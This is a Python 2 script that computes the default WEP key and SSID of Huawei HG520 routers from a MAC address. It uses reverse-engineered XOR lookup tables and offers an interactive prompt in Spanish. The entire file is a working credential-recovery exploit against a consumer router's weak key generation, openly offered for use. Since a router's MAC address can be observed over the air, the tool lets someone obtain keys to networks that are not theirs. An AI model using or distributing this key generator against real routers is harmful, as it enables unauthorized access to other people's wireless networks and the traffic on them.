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mac2defaults.py
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mac2defaults.py
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#! /usr/bin/python
##
## mac2wepkey - Default WEP key generator for Huawei HG520
##
## Original reverse-engineering and code:
## [email protected] - http://websec.mx (12/2010)
## Further improved by David Ammouial (2012)
##
a0=0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
a1=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
a2=0,13,10,7,5,8,15,2,10,7,0,13,15,2,5,8
a3=0,1,3,2,7,6,4,5,15,14,12,13,8,9,11,10
a5=0,4,8,12,0,4,8,12,0,4,8,12,0,4,8,12
a8=0,5,11,14,6,3,13,8,12,9,7,2,10,15,1,4
a10=0,14,13,3,11,5,6,8,6,8,11,5,13,3,0,14
def _hex2dec(s):
return int(s, 16)
def default_key(mac_as_string):
a7=0,8,0,8,1,9,1,9,2,10,2,10,3,11,3,11
a14=0,1,3,2,7,6,4,5,14,15,13,12,9,8,10,11
a15=0,1,3,2,6,7,5,4,13,12,14,15,11,10,8,9
n5=0,5,1,4,6,3,7,2,12,9,13,8,10,15,11,14
n6=0,14,4,10,11,5,15,1,6,8,2,12,13,3,9,7
n7=0,9,0,9,5,12,5,12,10,3,10,3,15,6,15,6
n11=0,14,13,3,9,7,4,10,6,8,11,5,15,1,2,12
n12=0,13,10,7,4,9,14,3,10,7,0,13,14,3,4,9
n13=0,1,3,2,6,7,5,4,15,14,12,13,9,8,10,11
n14=0,1,3,2,4,5,7,6,12,13,15,14,8,9,11,10
n31=0,10,4,14,9,3,13,7,2,8,6,12,11,1,15,5
mac = map(_hex2dec, mac_as_string.replace(':',''))
ya=(a2[mac[0]])^(n11[mac[1]])^(a7[mac[2]])^(a8[mac[3]])^(a14[mac[4]])^(a5[mac[5]])^(a5[mac[6]])^(a2[mac[7]])^(a0[mac[8]])^(a1[mac[9]])^(a15[mac[10]])^(a0[mac[11]])^13
yb=(n5[mac[0]])^(n12[mac[1]])^(a5[mac[2]])^(a7[mac[3]])^(a2[mac[4]])^(a14[mac[5]])^(a1[mac[6]])^(a5[mac[7]])^(a0[mac[8]])^(a0[mac[9]])^(n31[mac[10]])^(a15[mac[11]])^4
yc=(a3[mac[0]])^(a5[mac[1]])^(a2[mac[2]])^(a10[mac[3]])^(a7[mac[4]])^(a8[mac[5]])^(a14[mac[6]])^(a5[mac[7]])^(a5[mac[8]])^(a2[mac[9]])^(a0[mac[10]])^(a1[mac[11]])^7
yd=(n6[mac[0]])^(n13[mac[1]])^(a8[mac[2]])^(a2[mac[3]])^(a5[mac[4]])^(a7[mac[5]])^(a2[mac[6]])^(a14[mac[7]])^(a1[mac[8]])^(a5[mac[9]])^(a0[mac[10]])^(a0[mac[11]])^14
ye=(n7[mac[0]])^(n14[mac[1]])^(a3[mac[2]])^(a5[mac[3]])^(a2[mac[4]])^(a10[mac[5]])^(a7[mac[6]])^(a8[mac[7]])^(a14[mac[8]])^(a5[mac[9]])^(a5[mac[10]])^(a2[mac[11]])^7
keydigits=30,31,32,33,34,35,36,37,38,39,61,62,63,64,65,66
return str(keydigits[ya])+str(keydigits[yb])+str(keydigits[yc])+str(keydigits[yd])+str(keydigits[ye])
def default_ssid(mac_as_string):
a4=0,5,11,14,7,2,12,9,15,10,4,1,8,13,3,6
a6=0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8
a9=0,9,2,11,5,12,7,14,10,3,8,1,15,6,13,4
a11=0,12,8,4,1,13,9,5,2,14,10,6,3,15,11,7
a12=0,4,9,13,2,6,11,15,4,0,13,9,6,2,15,11
a13=0,8,1,9,3,11,2,10,6,14,7,15,5,13,4,12
n1=0,14,10,4,8,6,2,12,0,14,10,4,8,6,2,12
n2=0,8,0,8,3,11,3,11,6,14,6,14,5,13,5,13
n3=0,0,3,3,2,2,1,1,4,4,7,7,6,6,5,5
n4=0,11,12,7,15,4,3,8,14,5,2,9,1,10,13,6
n8=0,5,11,14,2,7,9,12,12,9,7,2,14,11,5,0
n9=0,0,0,0,4,4,4,4,0,0,0,0,4,4,4,4
n10=0,8,1,9,3,11,2,10,5,13,4,12,6,14,7,15
n15=0,6,12,10,9,15,5,3,2,4,14,8,11,13,7,1
n16=0,11,6,13,13,6,11,0,11,0,13,6,6,13,0,11
n17=0,12,8,4,1,13,9,5,3,15,11,7,2,14,10,6
n18=0,12,9,5,2,14,11,7,5,9,12,0,7,11,14,2
n19=0,6,13,11,10,12,7,1,5,3,8,14,15,9,2,4
n20=0,9,3,10,7,14,4,13,14,7,13,4,9,0,10,3
n21=0,4,8,12,1,5,9,13,2,6,10,14,3,7,11,15
n22=0,1,2,3,5,4,7,6,11,10,9,8,14,15,12,13
n23=0,7,15,8,14,9,1,6,12,11,3,4,2,5,13,10
n24=0,5,10,15,4,1,14,11,8,13,2,7,12,9,6,3
n25=0,11,6,13,13,6,11,0,10,1,12,7,7,12,1,10
n26=0,13,10,7,4,9,14,3,8,5,2,15,12,1,6,11
n27=0,4,9,13,2,6,11,15,5,1,12,8,7,3,14,10
n28=0,14,12,2,8,6,4,10,0,14,12,2,8,6,4,10
n29=0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3
n30=0,15,14,1,12,3,2,13,8,7,6,9,4,11,10,5
n32=0,10,5,15,11,1,14,4,6,12,3,9,13,7,8,2
n33=0,4,9,13,3,7,10,14,7,3,14,10,4,0,13,9
mac = map(_hex2dec, mac_as_string.replace(':',''))
s1=(n1[mac[0]])^(a4[mac[1]])^(a6[mac[2]])^(a1[mac[3]])^(a11[mac[4]])^(n20[mac[5]])^(a10[mac[6]])^(a4[mac[7]])^(a8[mac[8]])^(a2[mac[9]])^(a5[mac[10]])^(a9[mac[11]])^5
s2=(n2[mac[0]])^(n8[mac[1]])^(n15[mac[2]])^(n17[mac[3]])^(a12[mac[4]])^(n21[mac[5]])^(n24[mac[6]])^(a9[mac[7]])^(n27[mac[8]])^(n29[mac[9]])^(a11[mac[10]])^(n32[mac[11]])^10
s3=(n3[mac[0]])^(n9[mac[1]])^(a5[mac[2]])^(a9[mac[3]])^(n19[mac[4]])^(n22[mac[5]])^(a12[mac[6]])^(n25[mac[7]])^(a11[mac[8]])^(a13[mac[9]])^(n30[mac[10]])^(n33[mac[11]])^11
s4=(n4[mac[0]])^(n10[mac[1]])^(n16[mac[2]])^(n18[mac[3]])^(a13[mac[4]])^(n23[mac[5]])^(a1[mac[6]])^(n26[mac[7]])^(n28[mac[8]])^(a3[mac[9]])^(a6[mac[10]])^(a0[mac[11]])^10
ssidchars=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
return ssidchars[s1]+ssidchars[s2]+ssidchars[s3]+ssidchars[s4]
if __name__ == "__main__":
from sys import argv
if 1 < len(argv):
for mac in argv[1:]:
print "%s\tWEP = %s\tSSID = %s" % (mac, default_key(mac), default_ssid(mac))
else:
print "\n #####################################################"
print " # Huawei Echo Life HG520 mac2wepkey #"
print " # [email protected] - http://websec.mx #"
print " #####################################################"
while True:
mac=raw_input("\n Ingresa la MAC: ")
if 0 < len(mac):
print "\n WEP = %s SSID = %s\n\n" % (default_key(mac), default_ssid(mac))
else:
break